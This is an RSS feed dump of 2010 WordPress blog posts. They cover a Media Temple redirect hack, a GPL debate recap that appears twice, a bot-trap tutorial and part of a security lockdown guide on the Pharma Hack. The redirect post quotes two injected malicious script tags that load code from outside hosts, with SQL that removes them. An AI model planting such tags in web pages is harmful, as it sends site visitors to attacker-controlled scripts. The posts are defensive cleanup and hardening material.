			<content:encoded><![CDATA[<p>It looks like Media Temple WordPress installs have been hit with a <a href="http://weblog.mediatemple.net/weblog/category/system-incidents/1404-wordpress-redirect-exploit/" title="MT System Status Report">WordPress Redirect Exploit</a>. We got hit here at DigWP.com, but have cleaned things up and are taking steps to prevent it from happening again. Here is what Media Temple knows so far:</p>
<ul>
<li>Visitors viewing&nbsp;posts on your blog may be redirected to a third-party site.&nbsp; This may&nbsp;be a site already blocked by Google.</li>
<li>Visitors may&nbsp; also be forwarded to the domain googlesearch.com, which has already been&nbsp;disabled.</li>
</ul>
<p>They provide <a href="http://wiki.mediatemple.net/w/WordPress_Redirect_Exploit" title="WordPress Redirect Exploit">steps for clearing things up</a>, but it doesn&#8217;t look like the entry-point or source of this hack is known at this point.</p>
<p><span id="more-2547"></span></p>
<p>The hack injects a short JavaScript string into your database at the end of each your post&rsquo;s content. There are (so far) two known variations of the inserted garbage:</p>
<ul>
<li><code>&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;</code></li>
<li><code>&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;</code></li>
</ul>
<p>To clean this up asap, backup your database and run the following <a href="http://digwp.com/2010/03/remove-replace-content-wordpress-database/" title="Remove/Replace Content from the WordPress Database">SQL queries</a>:</p>
<pre><code>UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ae.awaue.com/7"&gt;&lt;/script&gt;', '');

UPDATE wp_posts SET post_content = replace(post_content, '&lt;script src="http://ie.eracou.com/3"&gt;&lt;/script&gt;', '');</code></pre>
<p>And remember to change the query prefix from <code>wp_</code> to your custom prefix.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/">Permalink</a> | <a href="http://digwp.com/2010/07/media-temple-wordpress-hack/#comments">38 comments</a> | Add to<br />
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/media-temple-wordpress-hack/&#038;title=Media%20Temple%20WordPress&nbsp;Hack">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/hack/" rel="tag">hack</a>, <a href="http://digwp.com/tag/mt/" rel="tag">mt</a></small></p>
<p><img src="http://feeds.feedburner.com/~r/DiggingIntoWordPress/~4/djnYdZ5xknU" height="1" width="1"/></p>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/17/media-temple-wordpress%c2%a0hack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GPL Showdown</title>
		<link>http://wordpress.freebytes.eu/2010/07/14/gpl%c2%a0showdown-2/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/14/gpl%c2%a0showdown-2/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 21:15:05 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[Site News]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2538</guid>
		<description><![CDATA[If you missed the Matt Mullenweg vs. Chris Pearson debate live debate today, this is my wrap up: Matt: Thesis is violating the law because it violates GPL. Chris: No it isn&#8217;t. Matt: Businesses can thrive under GPL. Chris: So? Matt: Why won&#8217;t you bring Thesis over to GPL? Chris: Because I would feel like [...]]]></description>
			<content:encoded><![CDATA[<p>If you missed the Matt Mullenweg vs. Chris Pearson debate live debate today, this is my wrap up:</p>
<p><strong>Matt:</strong> Thesis is violating the law because it violates GPL.<br />
<strong>Chris:</strong> No it isn&#8217;t.</p>
<p><strong>Matt:</strong> Businesses can thrive under GPL.<br />
<strong>Chris:</strong> So?</p>
<p><strong>Matt:</strong> Why won&#8217;t you bring Thesis over to GPL?<br />
<strong>Chris:</strong> Because I would feel like I&#8217;m doing something against my personal beliefs.</p>
<p><strong>Matt:</strong> We might sue you.<br />
<strong>Chris:</strong> Bring it on.</p>
<p>It was interspersed with various (what I felt to be) personal attacks and chest thumping. No conclusion was come to. </p>
<p>As for me, I don&#8217;t know enough to have super strong opinions on all this. I do know that I&#8217;d way rather be friendly with the WordPress community and its founding fathers than at odds, so if Matt asked me to do something, I&#8217;d generally just do it. Hey, that&#8217;s why the domain of this site is digwp.com and not diggingintowordpress.com.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/gpl-showdown/">Permalink</a> | <a href="http://digwp.com/2010/07/gpl-showdown/#comments">7 comments</a> | Add to<br />
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/gpl-showdown/&#038;title=GPL&nbsp;Showdown">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/site-news/" title="View all posts in Site News" rel="category tag">Site News</a> | Tagged: </small></p>
<p><img src="http://feeds.feedburner.com/~r/DiggingIntoWordPress/~4/50HJPubEcfQ" height="1" width="1"/></p>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/14/gpl%c2%a0showdown-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GPL Showdown</title>
		<link>http://wordpress.freebytes.eu/2010/07/14/gpl%c2%a0showdown/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/14/gpl%c2%a0showdown/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 21:15:05 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[Site News]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2538</guid>
		<description><![CDATA[If you missed the Matt Mullenweg vs. Chris Pearson debate live debate today, this is my wrap up: Matt: Thesis is violating the law because it violates GPL. Chris: No it isn&#8217;t. Matt: Businesses can thrive under GPL. Chris: So? Matt: Why won&#8217;t you bring Thesis over to GPL? Chris: Because I would feel like [...]]]></description>
			<content:encoded><![CDATA[<p>If you missed the Matt Mullenweg vs. Chris Pearson debate live debate today, this is my wrap up:</p>
<p><strong>Matt:</strong> Thesis is violating the law because it violates GPL.<br />
<strong>Chris:</strong> No it isn&#8217;t.</p>
<p><strong>Matt:</strong> Businesses can thrive under GPL.<br />
<strong>Chris:</strong> So?</p>
<p><strong>Matt:</strong> Why won&#8217;t you bring Thesis over to GPL?<br />
<strong>Chris:</strong> Because I would feel like I&#8217;m doing something against my personal beliefs.</p>
<p><strong>Matt:</strong> We might sue you.<br />
<strong>Chris:</strong> Bring it on.</p>
<p><span id="more-2538"></span></p>
<p>It was interspersed with various (what I felt to be) personal attacks and chest thumping. No conclusion was come to. </p>
<p>As for me, I don&#8217;t know enough to have super strong opinions on all this. I do know that I&#8217;d way rather be friendly with the WordPress community and its founding fathers than at odds, so if Matt asked me to do something, I&#8217;d generally just do it. Hey, that&#8217;s why the domain of this site is digwp.com and not diggingintowordpress.com.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/gpl-showdown/">Permalink</a> | <a href="http://digwp.com/2010/07/gpl-showdown/#comments">49 comments</a> | Add to<br />
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/gpl-showdown/&#038;title=GPL&nbsp;Showdown">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/site-news/" title="View all posts in Site News" rel="category tag">Site News</a> | Tagged: </small></p>
<p><img src="http://feeds.feedburner.com/~r/DiggingIntoWordPress/~4/50HJPubEcfQ" height="1" width="1"/></p>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/14/gpl%c2%a0showdown/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protect Your Site with a Blackhole for Bad Bots</title>
		<link>http://wordpress.freebytes.eu/2010/07/14/protect-your-site-with-a-blackhole-for-bad-bots/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/14/protect-your-site-with-a-blackhole-for-bad-bots/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 17:30:00 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[blacklist]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[robots]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[Websites]]></category>

		<guid isPermaLink="false">http://perishablepress.com/press/2010/07/14/blackhole-bad-bots/</guid>
		<description><![CDATA[One of my favorite security measures here at Perishable Press is the site&#8217;s virtual Blackhole trap for bad bots. The concept is simple: include a hidden link to a robots.txt-forbidden directory somewhere on your pages. Bots that ignore or disobey your robots rules will crawl the link and fall into the trap, which then [...]]]></description>
			<content:encoded><![CDATA[<p><img class="l" src="http://perishablepress.com/press/wp-content/images/2010/blackhole/blackhole.jpg" alt="[ Black Hole ]" /> One of my favorite security measures here at <a href="http://perishablepress.com/" title="Digital Design and Dialogue">Perishable Press</a> is the site&rsquo;s virtual Blackhole trap for bad bots. The concept is simple: include a hidden link to a <code>robots.txt</code>-forbidden directory somewhere on your pages. Bots that ignore or disobey your robots rules will crawl the link and fall into the trap, which then performs a <a href="https://ws.arin.net/whois/">WHOIS Lookup</a> and records the event in the blackhole data file. Once added to the blacklist data file, bad bots immediately are denied access to your site. I call it the &ldquo;one-strike&rdquo; rule: bots have <em>one</em> chance to follow the <a href="http://www.robotstxt.org/" title="robotstxt.org">robots.txt protocol</a>, check the site&rsquo;s <code>robots.txt</code> file, and obey its directives. Failure to comply results in immediate banishment. The best part is that the Blackhole only affects <em>bad</em> bots: normal users never see the hidden link, and good bots obey the robots rules in the first place.</p>
<blockquote><p>In five easy steps, you can set up your own Blackhole to trap bad bots and protect your site from evil scripts, bandwidth thieves, content scrapers, spammers, and other malicious behavior.</p>
</blockquote>
<p><img class="l" src="http://perishablepress.com/press/wp-content/images/2010/blackhole/blackhole.gif" alt="[ Blackhole Directory with Files ]" /> The Blackhole is built with <abbr title="PHP: Hypertext Preprocessor">PHP</abbr>, and uses a bit of <code>.</code><code>htaccess</code> to protect the blackhole directory. The blackhole script combines heavily modified versions of the <a href="http://www.kloth.net/internet/bottrap.php" title="How to build a Bot Trap and keep bad bots away from a web site">Kloth.net script</a> (for the bot trap) and the <a href="http://www.drunkwerks.com/docs/NetworkQueryTool/" title="http://www.shat.net/php/nqt/">Network Query Tool</a> (for the whois lookups). Refined over the years and completely revamped for this tutorial, the Blackhole consists of a single plug-&amp;-play directory that contains the following four files:</p>
<ul>
<li><code>.htaccess</code> &ndash; basic directory protection</li>
<li><code>blackhole.dat</code> &ndash; server-writable log file (serves as the blacklist)</li>
<li><code>blackhole.php</code> &ndash; checks requests against blacklist and blocks bad bots</li>
<li><code>index.php</code> &ndash; generates blackhole page, performs whois lookup, sends email, and logs data</li>
</ul>
<p>These four files are all contained in a single directory named &ldquo;<code>blackhole</code>&rdquo;. </p>
<h3 id="blackhole-overview">Installation Overview</h3>
<p>I set things up to make implementation as easy as possible. Here are the five basic steps:</p>
<ol>
<li>Upload the <code>/blackhole/</code> directory to your site</li>
<li>Ensure writable server permissions for the <code>blackhole.dat</code> file</li>
<li>Add a single line to the top of your pages to include the <code>blackhole.php</code> file</li>
<li>Add a hidden link to the <code>/blackhole/</code> directory in the footer of your pages</li>
<li>Prohibit crawling of the <code>/blackhole/</code> by adding a line to your <code>robots.txt</code> file</li>
</ol>
<p>It&rsquo;s <em>that</em> easy to install on your own site, but there are many ways to customize functionality. For complete instructions, jump ahead to <a href="http://perishablepress.com/press/2010/07/14/blackhole-bad-bots/#blackhole-directions" title="Jump to Section" class="anchor">Implementation and Configuration</a>. For now, I think a good way to understand how it works is to check out a demo..</p>
<h3 id="blackhole-demo">One-time Live Demo</h3>
<p>I have set up a working demo of the Blackhole for this tutorial. It works exactly like the download version, but it&rsquo;s configured to block you only from the demo, not from the entire site. Here&rsquo;s how it works:</p>
<ol>
<li>First visit to the Blackhole demo loads the trap page, runs the whois lookup, and adds your <abbr title="Internet Protocol">IP</abbr> address to the blacklist data file</li>
<li>Once you&rsquo;re added to the blacklist, all subsequent requests for the Blackhole demo will be denied access</li>
</ol>
<p>So you get <em>one</em> chance to see how it works. Once you visit, your <abbr title="Internet Protocol">IP</abbr> will be blocked from the demo only &ndash; you will still have full access to this tutorial (and everything else). That said, here is the demo link: <a href="http://perishablepress.com/press/wp-content/online/demos/blackhole/" rel="external nofollow" title="Demo opens new tab or window!">Blackhole Demo</a>. Visit <em>once</em> to see the Blackhole trap, and then <em>again</em> to observe that you&rsquo;ve been blocked. If I were to include the <code>blackhole.php</code> in the header of my theme files, you would be banned from pretty much the entire site.</p>
<h3 id="blackhole-directions">Implementation and Configuration</h3>
<p>Here are complete instructions for implementing and configuring the Perishable Press Blackhole:</p>
<p><strong>Step 1:</strong> <a href="http://perishablepress.com/press/2010/07/14/blackhole-bad-bots/#blackhole-download" title="Jump to Download Area" class="anchor">Download the Blackhole zip file</a>, unzip and upload to your site&rsquo;s root directory. This location is not <em>required</em>, but it enables everything to work out of the box. To use a different location, edit the <code>include</code> path in Step 3.</p>
<p><strong>Step 2:</strong> Change file permissions for <code>blackhole.dat</code> to make it writable by the server. The permission settings may vary depending on server configuration. If you are unsure about this, ask your host. Note that the blackhole script needs to be able to read, write, and execute the <code>blackhole.dat</code> file.</p>
<p><strong>Step 3:</strong> Include the bot-check script by adding the following line to the top of your pages:</p>
<pre><code>&lt;?php include($_SERVER['DOCUMENT_ROOT'] . "/blackhole/blackhole.php"); ?&gt;</code></pre>
<p>The <code>blackhole.php</code> script checks the request <abbr title="Internet Protocol">IP</abbr> against the blacklist data file. If a match is found, the request is blocked with a customizable message. See the source code for more information.</p>
<p><strong>Step 4:</strong> Include a hidden link to the <code>/blackhole/</code> directory in the footer of your pages:</p>
<pre><code>&lt;a style="display:none;" href="http://example.com/blackhole/" rel="nofollow"&gt;Do NOT follow this link or you will be banned from the site!&lt;/a&gt;</code></pre>
<p>This is the hidden link that bad bots will follow. It&rsquo;s currently hidden with <abbr title="Cascading Style Sheets">CSS</abbr>, so 99% of visitors won&rsquo;t ever see it. To hide the link from users without <abbr title="Cascading Style Sheets">CSS</abbr>, replace the anchor text with a transparent 1-pixel <abbr title="Graphic Interchange Format">GIF</abbr> image.</p>
<p><strong>Step 5:</strong> Finally, add a <code>Disallow</code> directive to your site&rsquo;s <code>robots.txt</code> file:</p>
<pre><code>User-agent: *
Disallow: /*/blackhole/*</code></pre>
<p>This step is pretty important. Without the proper robots directives, <em>all</em> bots would fall into the Blackhole because they wouldn&rsquo;t <em>know</em> any better. If a bot wants to crawl your site, it <em>must</em> obey the rules! The robots rule that we are using basically says, &ldquo;All bots DO NOT visit the <code>/blackhole/</code> directory or anything inside of it.&rdquo; More on this in the next section..</p>
<p><strong>Further customization:</strong> The previous five steps will get the Blackhole working, but the <code>index.php</code> requires a few modifications. Open the <code>index.php</code> file and make the following changes:</p>
<ul>
<li><strong>Line #54:</strong> Edit the path to your site&rsquo;s <code>robots.txt</code> file</li>
<li><strong>Line #56:</strong> Edit the path to your contact page (or email address)</li>
<li><strong>Lines #140/141:</strong> Edit email address with your own</li>
<li><strong>And</strong> in <code>blackhole.php</code>, edit line #53 with your contact info</li>
</ul>
<p>These are the recommended changes, but the <abbr title="PHP: Hypertext Preprocessor">PHP</abbr> is clean and generates valid <abbr title="Hypertext Markup Language">HTML</abbr>5, so feel free to modify the source code as needed. Note that beyond these three items, no other edits need made.</p>
<h3 id="blackhole-warning">Caveat Emptor</h3>
<p>Blocking bots is serious business. Good bots obey <code>robots.txt</code> rules, but there may be potentially useful bots that do not. <a href="http://perishablepress.com/press/2007/12/16/yahoo-slurp-in-my-blackhole-yet-again/" title="Yahoo! Slurp in My Blackhole (Yet Again)">Yahoo is the perfect example</a>: it&rsquo;s a valid search engine that sends some traffic, but sadly the <a href="http://perishablepress.com/press/2009/03/15/yahoo-slurp-too-stupid-to-be-a-robot/" title="Yahoo! Slurp too Stupid to be a Robot">Yahoo Slurp bot is too stupid to follow the rules</a>. Since setting up the Blackhole several years ago, <a href="http://perishablepress.com/press/2008/08/17/yahoo-once-again-caught-disobeying-robotstxt-rules/" title="Yahoo! Once Again Caught Disobeying Robots.txt Rules">I&rsquo;ve seen Slurp disobey robots rules hundreds of times</a>. <strike><strong>Bottom line:</strong> the Blackhole will block <em>any</em> bot that disobeys the <code>robots.txt</code> directives. Proceed accordingly.</strike> Update: By default, the Blackhole no longer blocks any of the popular search engines. See the next section for more information.</p>
<h3 id="blackhole-whitelist">Whitelisting Search Bots</h3>
<p>Initially, the Blackhole blocked <em>any</em> bot that disobeyed the <code>robots.txt</code> directives. Unfortunately, as discussed in the comments, Googlebot, Yahoo, and other major search bots do not always obey robots rules. And while blocking Yahoo! Slurp is debatable, blocking Google, MSN/Bing, et al would just be dumb. Thus, the Blackhole now &ldquo;whitelists&rdquo; any user agent identifying as any of the following:</p>
<ul>
<li>googlebot (Google)</li>
<li>msnbot (MSN/Bing)</li>
<li>yandex (Yandex)</li>
<li>teoma (Ask)</li>
<li>slurp (Yahoo)</li>
</ul>
<p>Whitelisting these user agents ensures that anything claiming to be a major search engine is allowed open access. The downside is that user-agent strings are easily spoofed, so a bad bot could crawl along and say, &ldquo;hey look, I&rsquo;m teh Googlebot!&rdquo; and the whitelist would grant access. It <em>is</em> possible to verify the true identity of each bot, but as <a href="http://perishablepress.com/press/2010/07/14/blackhole-bad-bots/#comment-79006" title="Read comment" class="anchor">X3M explains</a> in the comments, doing so consumes significant resources and could overload the server. Avoiding that scenario, the Blackhole errs on the side of caution: it&rsquo;s better to allow a few spoofs than to block <em>any</em> of the major search engines.</p>
<h3 id="blackhole-license">License and Disclaimer</h3>
<p>The Perishable Press Blackhole is released under <a href="http://www.gnu.org/licenses/gpl.html">GNU General Public License</a>. Check the <a href="http://creativecommons.org/licenses/GPL/2.0/" title="GNU General Public License">Creative Commons</a> for a summary and/or see the Blackhole source code for additional information. Also note that by downloading the Blackhole, you agree to accept full responsibility for its use. In no way shall the author be held accountable for anything that happens after the file has been downloaded.</p>
<h3 id="blackhole-download">Blackhole Download</h3>
<p>Here you can download the current version of the Blackhole:</p>
<p><strong class="download"><a href="http://perishablepress.com/press/download-manager.php?id=62" title="Download 5K Zip File">Perishable Press Blackhole for Bad Bots</a></strong><br /><small>&nbsp;&nbsp;&nbsp;&nbsp;[ version 1.2 | .zip format | 5K |  251 downloads ]</small></p>
<h4>Previous Versions</h4>
<ul>
<li><a href="http://perishablepress.com/press/download-manager.php?id=60" title="Download 5K Zip File">Blackhole v1.0</a> <small>[ version 1.0 | .zip format | 5K |  137 downloads ]</small></li>
<li><a href="http://perishablepress.com/press/download-manager.php?id=61" title="Download 5K Zip File">Blackhole v1.1</a> <small>[ version 1.1 | .zip format | 5K |  96 downloads ]</small></li>
</ul>
<p>
<div class="authentic"><span class="hide"><a href="http://perishablepress.com/" title="Perishable Press">Copyright2010PerishablePress</a></span></div>
</p>
<p>Source: <a href="http://perishablepress.com/press/2010/07/14/blackhole-bad-bots/" title="Read 'Protect Your Site with a Blackhole for Bad Bots' at Perishable Press">Perishable Press</a></p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Take your WordPress skills to the next level with <a href="http://digwp.com/book" title="Get the Book!">Digging into WordPress</a>!</p>
<h3 class="references">Related articles</h3>
<ul class="refs">
<li><a href="http://perishablepress.com/press/2007/07/03/how-to-block-ip-addresses-with-php/" title="How to Block IP Addresses with PHP (July 3, 2007)">How to Block IP Addresses with PHP</a></li>
<li><a href="http://perishablepress.com/press/2008/01/02/blacklist-candidate-number-2008-01-02/" title="Blacklist Candidate Number 2008-01-02 (January 2, 2008)">Blacklist Candidate Number 2008-01-02</a></li>
<li><a href="http://perishablepress.com/press/2008/02/10/blacklist-candidate-number-2008-02-10/" title="Blacklist Candidate Number 2008-02-10 (February 10, 2008)">Blacklist Candidate Number 2008-02-10</a></li>
<li><a href="http://perishablepress.com/press/2008/03/08/blacklist-candidate-number-2008-03-09/" title="Blacklist Candidate Number 2008-03-09 (March 8, 2008)">Blacklist Candidate Number 2008-03-09</a></li>
<li><a href="http://perishablepress.com/press/2008/04/27/blacklist-candidate-number-2008-04-27/" title="Blacklist Candidate Number 2008-04-27 (April 27, 2008)">Blacklist Candidate Number 2008-04-27</a></li>
<li><a href="http://perishablepress.com/press/2008/05/31/blacklist-candidate-number-2008-05-31/" title="Blacklist Candidate Number 2008-05-31 (May 31, 2008)">Blacklist Candidate Number 2008-05-31</a></li>
<li><a href="http://perishablepress.com/press/2008/09/15/blacklist-candidate-series-summary/" title="Blacklist Candidate Series Summary (September 15, 2008)">Blacklist Candidate Series Summary</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/perishablepress?a=YODnVYaB19o:qqFnIo9lqlo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/perishablepress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/perishablepress?a=YODnVYaB19o:qqFnIo9lqlo:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/perishablepress?i=YODnVYaB19o:qqFnIo9lqlo:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/perishablepress?a=YODnVYaB19o:qqFnIo9lqlo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/perishablepress?i=YODnVYaB19o:qqFnIo9lqlo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/perishablepress?a=YODnVYaB19o:qqFnIo9lqlo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/perishablepress?i=YODnVYaB19o:qqFnIo9lqlo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/perishablepress?a=YODnVYaB19o:qqFnIo9lqlo:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/perishablepress?i=YODnVYaB19o:qqFnIo9lqlo:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/perishablepress?a=YODnVYaB19o:qqFnIo9lqlo:I9og5sOYxJI"><img src="http://feeds.feedburner.com/~ff/perishablepress?d=I9og5sOYxJI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/perishablepress?a=YODnVYaB19o:qqFnIo9lqlo:bcOpcFrp8Mo"><img src="http://feeds.feedburner.com/~ff/perishablepress?d=bcOpcFrp8Mo" border="0"></img></a>
</div>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/14/protect-your-site-with-a-blackhole-for-bad-bots/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress Security Lockdown</title>
		<link>http://wordpress.freebytes.eu/2010/07/12/wordpress-security%c2%a0lockdown/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/12/wordpress-security%c2%a0lockdown/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:04:44 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2413</guid>
		<description><![CDATA[This article is split into two parts for ez reference. First some information on the evil WordPress &#8220;Pharma Hack&#8221;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure: Pharma Hacked Security Lockdown Pharmaceutical Apocalypse A few weeks ago, DigWP.com was hit with the so-called Pharma Hack. We [...]]]></description>
			<content:encoded><![CDATA[<p>This article is split into two parts for <abbr title="SO easy">ez</abbr> reference. First some information on the evil WordPress &ldquo;Pharma Hack&rdquo;, and then a recipe for protecting your site with a solid security lockdown. Choose your own adventure:</p>
<ul>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#pharma-hack">Pharma Hacked</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-lockdown">Security Lockdown</a></li>
</ul>
<p><span id="more-2413"></span></p>
<h3 id="pharma-hack">Pharmaceutical Apocalypse</h3>
<p>A few weeks ago, <a href="http://digwp.com/">DigWP.com</a> was hit with the so-called <a href="http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php" title="How to Diagnose and Remove the WordPress Pharma Hack">Pharma Hack</a>. We discovered the hack after some Google results turned up all sorts of spammy pharmaceutical garbage littered throughout posts, links, and titles. The tricky part about the hack is that it injects the spam garbage only when your site&rsquo;s pages are requested by a <em>search bot</em> (e.g., googlebot). So when you view your pages in a <em>browser</em>, everything seems perfectly normal. Put simply, the hack is <strong>cloaked</strong>. We had no idea anything was wrong until about <em>two weeks</em> after the attack. During that time a majority of our search engine results were nuked with evil pharma spam. Ick.</p>
<p>Flash forward three weeks later and things are locked-down tight. The Pharma Hack has not returned, and most of the spam garbage in the search results has been filtered out and replaced with clean pages. At the time of the attack, DigWP was running WordPress 2.9/3.0 without any sort of <em>additional</em> site security. We were just using whatever &ldquo;default&rdquo; protection available from either WordPress or Media Temple. After detecting the hack, several days were spent cleaning it up and locking things down. At first, it seemed like an <em>impossible</em> hack to fix &ndash; nothing seemed to work. We ran through the following routine, hoping to fix it:</p>
<ul>
<li>Locate and remove hacked <code>404.php</code> file</li>
<li>Locate and remove hacked content from database</li>
<li>Replace entire set of salt keys</li>
<li>Upload new WordPress files</li>
<li>Restore previous versions of other files</li>
<li>Restore database to previous version</li>
</ul>
<p>These actions alleviate the symptoms, but they don&rsquo;t even touch the actual virus, which somehow regenerates the (base64) encoded spam script. As far as we know, the Pharma Hack works like this:</p>
<ol>
<li>Evil script gains access to your WordPress site</li>
<li>Encoded spam script injected into database</li>
<li>Script inserts spam garbage into pages requested by search bots</li>
<li>Script makes no changes to pages requested by browsers</li>
</ol>
<p>Within the database, the spam script is generated in any/all of these <code>option_name</code> fields:</p>
<ul>
<li><code>class_generic_support</code></li>
<li><code>widget_generic_support</code></li>
<li><code>wp_check_hash</code></li>
<li><code>ftp_credentials</code></li>
<li><code>rss_[string] e.g.,</code><br /><code>rss_7988287cd8f4f531c6b94fbdbc4e1caf</code></li>
</ul>
<p>If these fields are present and contain <a href="http://digwp.com/examples/PharmaHack/Pharma-Hack_2010-07-11.txt" title="encoded Pharma Hack script">super-long strings of encoded gibberish</a>, your site&rsquo;s infected. You can assess the damages by examining the search results for your site (note: other spam keywords may be used):</p>
<pre><code>site:digwp.com cipro OR meridia OR cialis</code></pre>
<p>If you&rsquo;re hit, hopefully you catch it <em>before</em> googlebot crawls along. But even if you have <em>thousands</em> of hacked pages appearing in the search index, it&rsquo;s not too late to clean things up and secure your site. Here is how we did it..</p>
<h3 id="security-lockdown">WordPress Security Lockdown</h3>
<p>This security strategy is best implemented on <em>new</em> sites. It just makes everything (like renaming table prefixes) <em>so</em> much easier. Either way, you want to start with a clean batch of files. Upload a fresh copy of WordPress, update your plugins, theme files, and so on. You may want to <a href="http://perishablepress.com/press/2010/05/19/htaccess-redirect-maintenance-page-site-updates/" title="htaccess Redirect to Maintenance Page">redirect visitors to a maintenance page</a> while you work on your site. That said, here is our five-step Security Lockdown for WordPress:</p>
<ol style="padding-bottom:15px;">
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-permissions">File Permissions</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#file-protection">File Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#database-protection">Database Protection</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#essential-plugins">Essential Plugins</a></li>
<li><a href="http://digwp.com/2010/07/wordpress-security-lockdown/#security-details">Important Details</a></li>
</ol>
<h4 id="file-permissions">[<a href="http://feedproxy.google.com/~r/DiggingIntoWordPress/~3/XGKoQdcj9R0/#security-lockdown" title="Jump to Menu">1</a>] File Permissions</h4>
<p>After uploading fresh files, the next step is to ensure proper file permissions. WordPress defaults to <code>644</code> for files and <code>755</code> permissions for folders. Make sure these are set properly. While cleaning up, we noticed some crazy permission settings for sensitive files. For example, <code>wp-config.php</code> was set to <code>777</code> &ndash; executable and writable by the entire world!! Make sure you don&rsquo;t see anything like that, and if you do, fix it.</p>
<h4 id="file-protection">[<a href="http://feedproxy.google.com/~r/DiggingIntoWordPress/~3/XGKoQdcj9R0/#security-lockdown" title="Jump to Menu">2</a>] File Protection</h4>
<p>In addition to setting proper file permissions, we can also lock down key files with <code>.htaccess</code>. There are numerous files to protect, perhaps most importantly the <code>wp-config.php</code> file, which contains your database login information. Place the following code in your site&rsquo;s root <code>.htaccess</code> file to protect it:</p>
<pre><code># SECURE WP-CONFIG.PHP
&lt;Files wp\-config\.php&gt;
 Order Deny,Allow
 Deny from all
&lt;/Files&gt;</code></pre>
<p>You may also want to <a href="http://perishablepress.com/press/2009/07/13/htaccess-password-protection-tricks/" title="HTAccess Password-Protection Tricks">password-protect</a> your <code>wp-admin</code> directory, but it may cause more trouble than it&rsquo;s worth.</p>
